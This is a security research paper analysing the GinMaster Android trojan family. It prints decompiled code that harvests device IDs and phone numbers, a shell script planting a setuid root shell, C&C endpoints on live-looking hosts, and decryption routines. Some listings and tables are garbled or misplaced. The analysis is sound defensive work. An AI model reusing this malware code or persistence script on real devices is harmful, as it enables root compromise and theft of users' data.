GINMASTER: A CASE STUDY IN ANDROID MALWARE

Rowland Yu
Sophos, Australia

Email rowland.yu@sophos.com

ABSTRACT

Android GinMaster is a trojanized application family targeting Android mobile devices. GinMaster has gone through three significant generations since it was first found by researchers from North Carolina State University on 17 August 2011. Originally discovered in mainland China, there are now over 13,000 known variants. Our investigation reveals that new variants of GinMaster can successfully avoid detection by mobile anti-virus software by using polymorphic techniques to hide malicious code, obfuscating class names for each infected object, and randomizing package names and self-signed certificates for applications. Android GinMaster is distributed in third-party app markets in China. Our research indicates that attackers inject GinMaster code into thousands of legitimate game, ringtone and sexy picture applications. These applications have a high chance of luring mobile users into installing the malware. The application also contains a malicious service with the ability to root devices to escalate privileges, steal confidential information and send it to a remote website, plus install new high-risk malware 'GingerMaster'. Shortly afterwards, several anti-virus vendors detected it and used a shortened name – GinMaster.

GingerBreak exploits a vulnerability of ‘vold’, the volume manager daemon, on Android 3.0 and 2.x before 2.3.4 systems. Based on the author’s comments (shown in Figure 1), it gains root privileges via a negative index that bypasses a maximum-only signed integer check in the ‘mPartMinors[]’ method, which triggers memory corruption. The malware is able to use GingerBreak to hide itself inside the Android system partition and avoid being deleted.

2. RELATED WORK

The first generation of GinMaster was initially uncovered by researchers from North Carolina State University [1]. It was the first Android malware to take advantage of a root exploit (GingerBreak) against Android 2.3 (code name: GingerBread) devices. Therefore, the university research team named this new high-risk malware ‘GingerMaster’. Shortly afterwards, several anti-virus vendors detected it and used a shortened name – GinMaster.

3. THE EMERGENCE OF GINMASTER

3.1 Technical teardown of the first generation of GinMaster

Although the first generation of GinMaster was released more than a year and a half ago, there has been no big change in the fundamental components of GinMaster generations. In the second and third generations, only the malicious functionalities have been modified slightly. In this section, I will focus on a first-generation sample with the package name ‘com.igamepower.appmaster.Web’:

```
Gingerbreak.c #include <stdlib.h>
#include <unistd.h>

/* android 2.2-3.0. void root exploit 'mPartMinors[]' out of bounds write */
* (checked for upper limit but not against negative values).
* Exploited by changing GOT entry of 'strncpy(),atoi() etc. to system()' and then triggering such call with provided pointer.
* We nevermind SE protections and what they call NOP.

Figure 1: The header information of the GingerBreak source code.
```

3.2 Anatomy of GinMaster

The sample requests a list of dangerous permissions as follows:
It starts via two different declared entry points in the AndroidManifest.xml file. One is the main activity of the sample 'com.igamepower.appmaster.Web'. Another is a service, 'com.igamepower.appmaster.GameService', which is launched silently in the background. Additionally, it registers a broadcast receiver, 'com.igamepower.appmaster.GameBootReceiver', so that it will be notified when the system finishes booting, as shown in Listing 1.

Both entry points attempt to connect to the local 'GameService' service.

```
Intent localIntent = new Intent(this, GameService.class);
......
startService(localIntent);
```

The 'GameService' service is the main part of the malicious code. It attempts to register 'PACKAGE_ADDED' and 'PACKAGE_REMOVED' receivers, creates an SQLite database for harvesting package information of packages installed in the device, collects sensitive information including the device ID, phone number, network type and others, then uploads them to a remote server and launches the exploit in the background. The overview of the functionalities is in the initial method 'onCreate()', as shown in Listing 2.

Also shown in Listing 2 are four files (gbfm.png, install.png, installsoft.png and runme.png), which are suffixed with PNG extensions in order to make them appear less suspicious. In fact, they are ELF32 for ARM binaries and shell scripts. The file gbfm.png is the exploit binary referenced in Section 2; install.png is a shell script used to configure files in system partition for later usage; installsoft.png is another shell script for the remote command and control (C&C) service to install applications silently; and runme.png is an ELF binary to execute the above shell scripts. The code shown in Listing 3 is the script of install.png.

### 3.3 Database

GinMaster creates three tables in a local database, as detailed in Table 1: a table named 'game_package' to manage packages installed/uninstalled in the system; a table named 'game_service_download', which controls packages downloaded from remote websites; and a table named 'game_service_folder' is reserved for future use.

### 3.4 Command and Control (C&C)

The first GinMaster supports three types of C&C instructions (all based on HTTP): report, request and action. Many of the
public void onCreate()
{
    Log.e("GameSvc", "new GameService::OnCreate()");
    this.d.a(this.w);
    this.d.start();
    // register a PACKAGE_ADDED receiver
    IntentFilter localIntentFilter1 = new IntentFilter("android.intent.action.PACKAGE_ADDED");
    localIntentFilter1.addAction("android.intent.action.PACKAGE_ADDED");
    localIntentFilter1.addCategory("android.intent.category.DEFAULT");
    localIntentFilter1.addDataScheme("package");
    this.c = new GameBootReceiver();
    registerReceiver(this.c, localIntentFilter1);
    // register a PACKAGE_REMOVED receiver
    IntentFilter localIntentFilter2 = new IntentFilter("android.intent.action.PACKAGE_REMOVED");
    localIntentFilter2.addAction("android.intent.action.PACKAGE_REMOVED");
    localIntentFilter2.addCategory("android.intent.category.DEFAULT");
    localIntentFilter2.addDataScheme("package");
    registerReceiver(this.c, localIntentFilter2);
    // create a SQLite database used for harvesting package information
    this.a = openOrCreateDatabase("game_service_package.db", 268435456, null);
    this.a.execSQL("CREATE TABLE IF NOT EXISTS game_package (package_name char(128) not null default '',
        version_name char(128) not null default '',
        version_code char(16) not null default '',
        status char(1) not null default '1',
        soft_id char(10) not null default '',
        primary key (package_name))");
    Log.i("GameSvc", "create db in onCreate");
    this.a.execSQL("CREATE INDEX IF NOT EXISTS pni ON game_package (package_name)");
    this.a.execSQL("CREATE INDEX IF NOT EXISTS si ON game_package (soft_id)");
    this.b = getSharedPreferences("GameService", 0);
    this.k = this.b.getString("cpuid", "");
    if ((this.k == null) || (this.k == ""))
    {
        new Thread(this.n).start();
        m();
        this.e.b();
        // collect sensitive information including the device id, phone number, network type and others
        SharedPreferences.Editor localEditor = this.b.edit();
        localEditor.putString("imei", this.f);
        localEditor.putString("cpuid", this.k);
        localEditor.putString("simNum", this.h);
        localEditor.putString("telNum", this.i);
        localEditor.putString("network_type", this.j);
        localEditor.putString("package_man", "1");
        localEditor.putInt("get_config_limit", 60);
        localEditor.putInt("config_next", 60);
        localEditor.putInt("get_list_limit", 60);
        localEditor.putInt("alert_next", 60);
        localEditor.putInt("get_list_limit", 60);
        localEditor.putInt("alert_limit", 300);
        localEditor.putInt("alert_limit", 60);
        localEditor.commit();
    }
    while (true)
    {
        this.s.start();
        if ((this.e != null))
        {
            cj.a(getFilesDir().getPath());
            this.e.a(this.w);
        }
    }
}

// ELF32 for ARM binaries and shell scripts
a("gbfm.png");
a("install.png");
a("installsoft.png");
a("runme.png");
}

// prepare and launch the exploit at the background
String str = "chmod 775 " + getFilesDir() + "/gbfm.sh " + getFilesDir() + "/install.sh " +
    getFilesDir() + "/installsoft.sh " + getFilesDir() + "/runme.sh ";
Log.i("GameSvc", str);
Listing 3: Script of install.png.

cat /system/bin/sh > /data/data/com.igamepower.appmaster/files/sh.new
chown 0:0 /data/data/com.igamepower.appmaster/files/sh.new
chmod 4755 /data/data/com.igamepower.appmaster/files/sh.new
rm -f /data/data/com.igamepower.appmaster/files/sh

mount -o remount system /system

mkdir /system/xbin/appmaster
myuid=$1
if [ "$myuid" = "" ]; then
    myuid="0"
fi
chown $myuid /system/xbin/appmaster
chmod 700 /system/xbin/appmaster

cat /system/bin/sh > /system/xbin/appmaster/sh
chown 0:0 /system/xbin/appmaster/sh
chmod 4755 /system/xbin/appmaster/sh

sync
mount -o remount,ro system /system

Table 1: Three tables are created in a local database.

<table>
<thead>
<tr>
<th>game_package</th>
<th>game_service_download</th>
<th>game_service_folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>package_name char(128)</td>
<td>soft_id int(11)</td>
<td>file_id int(11)</td>
</tr>
<tr>
<td>version_name char(128)</td>
<td>package_name varchar(32)</td>
<td>file_title varchar(32)</td>
</tr>
<tr>
<td>version_code char(16)</td>
<td>app_name varchar(32)</td>
<td>icon_file varchar(128)</td>
</tr>
<tr>
<td>status char(1)</td>
<td>icon varchar(32)</td>
<td>package_name varchar(128)</td>
</tr>
<tr>
<td>soft_id char(10)</td>
<td>url varchar(32)</td>
<td>version_name varchar(32)</td>
</tr>
<tr>
<td>primary key (package_name)</td>
<td>status int(1)</td>
<td>version_code varchar(32)</td>
</tr>
<tr>
<td></td>
<td>completed int (11)</td>
<td>folder_id varchar(32)</td>
</tr>
<tr>
<td></td>
<td>total int(11)</td>
<td>folder_title varchar(32)</td>
</tr>
<tr>
<td></td>
<td>filepath varchar(128)</td>
<td>primary key (folder_id, package_name)</td>
</tr>
</tbody>
</table>

Table 2: The C&C lists in the first GinMaster generation.

http://<url>/report/first_run.do Report the starting of GinMaster
http://<url>/report/install_success.do Post package information when installing a package
http://<url>/report/uninstall_success.do Post package information when uninstalling a package
http://<url>/report/install_list.do Report information when installing a list of packages
http://<url>/request/config.do Change the frequency configuration for checking into the server
http://<url>/request/push.do soft_last_id
http://<url>/request/alert.do alert_last_id
http://<url>/request/index.do Not sure
http://<url>/request/update.do Not sure
http://<url>/client.php?action=softlist Get a whole list of software
http://<url>/client.php?action=soft&soft_id= Get a link to a specified software
http://<url>/client.php?action=softlist&type=search&word= Search a list of software with a specified word
instructions are fully functional, as shown in Table 2, although a few seem to be under development and do not appear to work.

4. THE EVOLUTION OF GINMASTER'S GENERATIONS

4.1 Close to polymorphism

At the start of 2012, a significant evolution of GinMaster was discovered by SophosLabs. The research revealed that the new variant was on the verge of polymorphic mobile malware [2]. The new variant has been injected into over 6,000 legitimate applications and has been distributed in Chinese third-party markets. We classify this variant as the second generation of GinMaster.

In order to evade detection by anti-virus software, this generation obfuscates class names and encrypts URLs as well as C&C instructions (see Figure 2). It is impossible to catch this variant by detecting the class name or URLs.

The following code is the decryption module:

```java
public static String b(String paramString)
{
    byte[] arrayOfByte = d.b(paramString).getBytes();
    for (int i1 = 0; i1 < arrayOfByte.length; i1++)
        arrayOfByte[i1] = (byte)(0x78 ^ arrayOfByte[i1]);
    return new String(arrayOfByte);
}
```

Figure 2: A screenshot of a second generation sample reversed in Java code.

<table>
<thead>
<tr>
<th>Encrypted string XORed with 0x78 in Base64</th>
<th>Decrypted string</th>
</tr>
</thead>
<tbody>
<tr>
<td>EAwMCEJXVxtWSbEcXSFYRfhXQtktQf9LVsUER0WDBYiD1YIEAg=</td>
<td><a href="http://c.0oo0oo0.info:32873/clientnew.php">http://c.0oo0oo0.info:32873/clientnew.php</a></td>
</tr>
<tr>
<td>EAwMCEJXVxtWQgilDh0KER4BVhEWHhdCS0pAT0tXGxQRHRHYMFh0PVggQCAl=</td>
<td><a href="http://ac.appverify.info:32873/clientnew.php">http://ac.appverify.info:32873/clientnew.php</a></td>
</tr>
<tr>
<td>GRsMERcWRRkUHQoM</td>
<td>action=alert</td>
</tr>
<tr>
<td>GRsMERcWROqNCxA=</td>
<td>action=push</td>
</tr>
<tr>
<td>GRsMERcWROqXCBoZChYdI4MAQgdRR8dDF4WHQ9FSQ==</td>
<td>action=popbarnew&amp;type=get&amp;new=1</td>
</tr>
<tr>
<td>GRsMERcWRR8dDBoZCl4MAQgdRR8dDA==</td>
<td>action=getbar&amp;type=get</td>
</tr>
<tr>
<td>GRsMERcWROqXHgxeCxceDCcRHEU=</td>
<td>action=soft&amp;soft_id=</td>
</tr>
<tr>
<td>GRsMERcWROqNCxAVCx8=</td>
<td>action=pushmsg</td>
</tr>
<tr>
<td>GRsMERcWROqdCBcKD4MAQgdRR8dREWCwwZFBQnCw0bGx0LCw==</td>
<td>action=report&amp;type=install_success</td>
</tr>
<tr>
<td>GRsMERcWROqICbKD4MAQgdRR8dYFxkfcw3nGxdCw==</td>
<td>action=report&amp;type=download_success</td>
</tr>
<tr>
<td>GRsMERcWROqICbdKD4MAQgdRR4R6psMjwoNFGw==</td>
<td>action=report&amp;type=first_run</td>
</tr>
<tr>
<td>GRsMERcWROqICbdKD4MAQgdRR8dXyYnGQgT</td>
<td>action=report&amp;type=down_apk</td>
</tr>
</tbody>
</table>

Table 3: A list of the encrypted and decrypted strings in the second GinMaster generation.
The decryption module is relatively simple and static. It uses XOR with key 0x78 after decoding in Base64. Table 3 shows a list of encrypted strings and their corresponding outputs. As shown in the table, this variant uses several new URLs as remote command and control servers. Moreover, the C&C instructions are slightly different from those in the first generation, but the malware has the capability of reporting package information relating to packages installed/uninstalled in the system, searching and listing package information from remote websites, and downloading additional applications to the device without the user’s consent.

The second GinMaster generation is similar to the first generation in that it utilizes an SQLite database to store information including download files, installed and uninstalled packages, etc. And it is interesting that the samples still use plain text SQL statements (as shown in Figure 3) rather than the encrypted strings used for URLs and C&C instructions. The keywords such as device ID, phone number, network type and others are also in plain text.

Additionally, it is worth noting that GinMaster stops utilizing the rooting exploit to escalate privileges on the system. And it uses an intent approach to install application packages instead of shell in the previous generation, as shown in Listing 4.

4.2 More sophisticated third generation

About six months after the second generation was found (a year after the first generation), SophosLabs found something interesting in the latest GinMaster variants. The obfuscation and encryption of this generation is much more complicated than its two predecessors. Figure 4 illustrates the deep form of obfuscation and encryption of the package name, classes and strings of the third generation.

The third generation takes advantage of a modern renaming technique, Overload-Induction [3], to obfuscate classes, methods and variables. The renaming system assigns as many methods, classes or variables as possible to the same simple name. The code below demonstrates the power of Overload-Induction: the class name is A while it has two private variables, TextView a and Button b, as well as another two methods with same name, a and b. The technique makes the malware very difficult to reverse engineer and detect. Moreover, it has another beneficial side effect, which is a reduction in file size.

```
public class A extends Activity {
    private TextView a;
    private Button b;
    private Button c;
    private string d;
    private string e;
    private string f;
    private int g;

    static string a(A paramA) {
        string str = paramA.e;
        return str;
    }

    static int b(A paramA) {
        int i = paramA.g;
        return i;
    }
}
```

The decryption module is more comprehensive and complex than the one in the second generation. Firstly, almost every keyword, URL, C&C instruction and SQL statement is encrypted. Secondly, instead of a simple XOR cipher, the decryption module is very complex. Table 4 shows some encrypted strings with their corresponding plain text. The decryption method is detailed in Appendix A at the end of the paper. Thirdly, the third generation is beginning to utilize polymorphic technology to change cipher codes for each decrypting method in order to evade detection.

5. THE BUSINESS MODEL OF GINMASTER

Prior to exposing the economic model of GinMaster, I’d like to disclose some related statistics for the last 21 months.

5.1 Growth of variants over time and generations breakdown

Figure 5 displays the GinMaster trend line in a quarterly view from August 2011 to April 2013. As shown in the trend line, GinMaster has a continuous and steady growth in volume. Starting from February 2012, there was an increase of between 500 and 1,500 new samples compared to the previous quarter. During the last quarter, from February 2013 to April 2013, SophosLabs recorded over 4,700 new samples. And we expect there to be about 6,000 received in the next three months.

<table>
<thead>
<tr>
<th>String encrypted by a customized algorithm</th>
<th>Decrypted string</th>
</tr>
</thead>
<tbody>
<tr>
<td>JTk5PXdiYi5jSlIi5iWkIy5sid35/dXp+Yi4hJGjOSMoOmnM9JT0=</td>
<td><a href="http://c.0000oo0.info:32873/clientnew.php">http://c.0000oo0.info:32873/clientnew.php</a></td>
</tr>
<tr>
<td>JTk5PXdiYi5jLD09Oyg/JC50Yq0kJyJ3f91en5iLiEkCM5fylgyYz0lPQ==</td>
<td><a href="http://c.appverify.info:32873/clientnew.php">http://c.appverify.info:32873/clientnew.php</a></td>
</tr>
<tr>
<td>LC45JCIjcCwhtKD85</td>
<td>action=alert</td>
</tr>
<tr>
<td>LC45JCIjcD04PiU=</td>
<td>action=push</td>
</tr>
<tr>
<td>LC45JCIjcD8oPSI/OWs5ND0ocCQjPjk5ISESpjguLig+Pg==</td>
<td>action=report&amp;type=install_success</td>
</tr>
<tr>
<td>LC45JCIjcD8oPSI/OWs5ND0ocCkioMSLDo0m</td>
<td>action=report&amp;type=down_apk</td>
</tr>
<tr>
<td>LC45JCIjcCaiPmgkJIz45LCEhak0PSShwKig5</td>
<td>action=moreinstall&amp;type=get</td>
</tr>
<tr>
<td>Dh8IDBkIbRkMDwEIbQQLbQMCGW0IFQQeGR5t</td>
<td>CREATE TABLE IF NOT EXISTS</td>
</tr>
<tr>
<td>ZRY9LC4mLCoOayWgKBm0fD3gUMH2V+iWRbRBbBwBYCG0DAHt</td>
<td>([packageName] vaRCHAR(30) UNIQUE NOT NULL PRIMARY KEY,</td>
</tr>
</tbody>
</table>

Table 4: Part of the encrypted and decrypted string lists in the third GinMaster generation.
Figure 3: SQL statements of the second GinMaster generation.

Listing 4: Intent approach is used to install application packages.

Figure 4: A screenshot of a third-generation sample reversed in Java code.
Apart from the increase in the total number of GinMaster samples, we also discovered that the highly obfuscated malware samples of the second and third generations constitute nearly 95% of all the GinMaster samples, as displayed in Figure 6. It also shows that the second and third generations almost split these obfuscated malware samples in half.

5.2 Ecosystem of GinMaster

It is essential to provide a brief overview of the Android market in China before demonstrating the GinMaster ecosystem.

- First of all, the Android marketplace in China is very large. Since the beginning of 2013, China has surpassed the US in terms of the number of active installed Android devices [4]. It is estimated that there are around 150 million Android devices in China.
- CocoaChina estimates that the value of the Chinese app market will reach $1.2 billion in 2013, in which Android will hold 50% of the total.
- The number of Android alternative app stores is large – there are over 400 popular third-party stores in China.
- The mobile malware infection rate in China is estimated at between 4% and 7% [5, 6], which means that there are over 5 million infected devices.

Figure 7 illustrates the GinMaster ecosystem:

1. Malware writer distributes thousands of malicious applications to hundreds of alternative app stores.
2. From the stores, over 10,000 end-users (estimated from the figures in Appendix B) download these applications
embedded with malware code. The infected devices build up a large Android zombie botnet.

3. The malware writer has an agreement with legitimate developers to promote their applications.

4. The malware writer uses C&C services to control the zombie botnet to download more applications.

5. After installation, the malware writer is able to share income with the developers.

Moreover, the botnet is able to generate massive fake traffic to advertising services so that the malware writer can deceptively accumulate profit from the ad companies. In step 3, each infected device sends back sensitive information such as unique device ID, phone number, and installed/uninstalled package information to the malware writer. The information can be used to verify the installation of developers’ apps. The malware writer is also able to track users’ behaviours and habits for the purpose of releasing more attractive applications into third-party stores.

In order to maximize profit, the malware writer has to make sure the malicious applications remain on users’ devices for as long as possible. The malware writer utilizes several strategies to achieve this.

1. The malware distributor always picks the most suitable category of apps to attract users. As shown in Figure 8, the sexy picture category accounted for more than 50% in the first generation. The game category held the second position. However, it appears that the malware distributor discovered that, although the sexy picture applications can easily lure users to download them, game applications remain on the device for longer and run more times than other app categories. Therefore, in the second and third generations, game applications account for more than 90% and 99% respectively.

2. Plenty of stimulation is provided to keep applications interesting and exciting for downloading. The malware creator takes advantage of over 6,000 games, especially popular games like Angry Birds, Plants vs. Zombies, Temple Run and Real Fishing to convey the malicious codes. Table 5 shows that the malware writer continues publishing new applications (every two samples on average) to lure end-users. On the other hand, by means of monitoring every application installed and its lifecycle in each device, it is more effective to release more attractive applications to end-users.

<table>
<thead>
<tr>
<th></th>
<th>Frequency of each app title on average</th>
<th>Frequency of each app certificate on average</th>
</tr>
</thead>
<tbody>
<tr>
<td>1st Generation</td>
<td>2.14</td>
<td>34.08</td>
</tr>
<tr>
<td>2nd Generation</td>
<td>2.49</td>
<td>3.70</td>
</tr>
<tr>
<td>3rd Generation</td>
<td>1.80</td>
<td>1.53</td>
</tr>
<tr>
<td>Total</td>
<td>2.09</td>
<td>2.30</td>
</tr>
</tbody>
</table>

Table 5: Frequency of using application title and self-signed certificate.

3. In addition, the malware writer increases the frequency with which digital certificates are changed as a means to avoid detection by anti-virus software. The digital certificate is not only used to sign an Android application but also employed in the detection technique by some anti-virus software. As shown Table 5, each certificate is used to sign about 34 applications on average in the first generation. In the second generation, an average of 3.7 samples share a certificate. The latest generation frequently changes certificates (1.53 samples per certificate) to evade detection.

According to estimates, the infection rate of GinMaster in China is about 7‰ [7]. There are about 1 million Android devices affected by malicious code. These compromised devices form a huge botnet controlled by the originator.

The controller takes advantage of the botnet to promote the installation from developers. The potential earnings are considerable, ranging from 0.5 to 2.3 Chinese Yuan per installation. It is conservatively estimated that about 1 million Chinese Yuan (US$162,000) can be gained every month.

Furthermore, the botnet generates a large amount of traffic to advertising services. The botnet controller can use GinMaster code to act like a human producing analog clicks on advertisements. The table in Appendix B contains the number of downloads of 15 randomly selected applications (five in each generation) from a Chinese app store. The total number of downloads is 176,442 (over 11,000 per application). On the basis of the above statistics, the malware writer can earn another half million Chinese Yuan (US$81,000) per month.

6. COMPARISON BETWEEN THE DEVELOPMENT OF PC MALWARE AND ANDROID MALWARE

Overall, the situation with Android threats is very similar to the early days of PC malware, but the growth of Android malware is much faster than that of the early PC era — not only in speed and volume, but also in techniques and communication.
6.1 Speed and volume
Since SophosLabs received the first piece of Android malware in August 2010, and there has been an explosive increase in Android malware. It took less than three years to reach 350,000 Android malware families, while it took 14 years for PC malware to approach the same volume of threats (shown in Figure 9).

6.2 Techniques and communication
Figure 10 demonstrates the increase in complexity and sophistication of techniques and communication. It took only a year and a half for Android malware to deploy certain technologies widely and successfully while it took over a decade and a half for PC malware to do the same.

For instance, ‘Geinimi’ Android malware was using DES algorithm to encrypt URLs and C&C commands only four months after the first Android malware was found. From the beginning, Android malware has been designed for Internet spreading while PC malware started to use the Internet in 1988 (four years after the first PC backdoor). Moreover, a large-scale mobile botnet has been building since a year after the first Android malware appeared, while it took over nine years for PC malware to achieve the same.

7. CONCLUSION
The GinMaster ecosystem is a representative model of Chinese Android malware. It also reaches other emerging countries such as Thailand and Vietnam. It makes use of the large number of Android third-party stores and the lack of...
protection in privacy and patent to distribute as many repackaged malicious applications as possible.

The infected devices are used to set up a mobile botnet via malicious code hidden in the affected app. However, instead of directly taking advantage of these zombie devices to make profit from end-users, the malware controller employs the botnet to generate millions of installations and large volumes of advertising traffic to legitimate developers and advertising services respectively. As a result, they gain indirect income from third parties.

Moreover, the malware writer is able to increase the infection rate by using detailed personal information received from every affected device. Advanced obfuscation and encryption techniques with the addition of randomized self-signed certificates are used to evade detection by anti-virus products.

In summary, the war between good and evil in the Android system is just starting. The scale is much greater and the level is much higher than we expected. And there is no end to the war in sight.

REFERENCES


APPENDIX A

A typical decryption module used in the third generation of GinMaster:

1. Decode a base64 encoded string such as ‘KSghEjkkICg=’.
2. Extract three keys from a specific string. In this case, the string is ‘91#93#75’, and the keys are ‘91’, ‘93’ and ‘75’.
3. Use each key to XOR the above decoded string.
4. The decrypted string for ‘KSghEjkkICg=’ is ‘del_time’.

```java
import org.apache.commons.codec.binary.Base64;
public class au {
    public static void main(String[] args) {
```
System.out.println(c("KSghEjkkICg="));

// more encrypted strings...............
*/

* The decryption code @paramString
*/

public static String c(String paramString)
{
    Base64 b = new Base64();
    Object String;
    try
    {
        String str1 = "91#93#75";
        int i4 = 58;
        i4 = str1.indexOf(i4);
        int i6 = -1;
        if (i4 != i6)
        {
            i4 += 1;
            i6 = str1.length();
            str1 = str1.substring(i4, i6);
        }
        String str6 = "#",
        String[] arrayOfString = str1.split(str6);
        str1 = "ohv.srsb.cqvsqalwlsut:";
        boolean bool = paramString.startsWith(str1);
        if (bool)
        {
            int i1 = 58;
            int i5 = 4;
            i1 = paramString.indexOf(i1, i5);
            i1 += 1;
            i5 = paramString.length();
            paramString = paramString.substring(i1, i5);
        }
        String str2 = new String(b.decode(paramString));
        byte[] arrayOfByte = str2.getBytes();
        int i2 = arrayOfString.length;
        i2 += -1;
        int i3;
        for (int i5 = i2; i5 >= 0; i5 = i3)
        {
            String str3 = arrayOfString[i5];
            int i7 = Integer.parseInt(str3);
            i3 = 0;
            while (true)
            {
                int i8 = arrayOfByte.length;
                if (i3 >= i8)
                    break;
                i8 = arrayOfByte[i3];
                i8 ^= i7;
                arrayOfByte[i3] = (byte) i8;
                i3 += 1;
            }
            i3 = i5 + -1;
        }
        String str4 = new String(arrayOfByte);
        return str4;
    }
    catch (Exception localException)
    {
        return paramString;
    }
}
APPENDIX B

The number of downloads of a random selection of 15 applications (five in each generation) from a Chinese app store.

<table>
<thead>
<tr>
<th>Samples from the First Generation</th>
<th>Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>天天美图</td>
<td>com.gamespower.appmaster</td>
</tr>
<tr>
<td>火辣集中营</td>
<td>com.huoljzy</td>
</tr>
<tr>
<td>美女壁纸</td>
<td>com.beautifulmmwall</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Samples from the Second Generation</th>
<th>Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>美女麻将馆</td>
<td>jp.gdvbrhad.kbmlpvtbpcnmabc</td>
</tr>
<tr>
<td>真实捕鱼</td>
<td>unc.jwmd.nutbqaoko</td>
</tr>
<tr>
<td>可爱卡通角色</td>
<td>com.android_oskakjs</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Samples from the Third Generation</th>
<th>Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>惊险飞车党</td>
<td>com.grtvh.mrtjfgd_gq</td>
</tr>
<tr>
<td>架子鼓行家</td>
<td>jiuyao_jiazigu_gtpk</td>
</tr>
</tbody>
</table>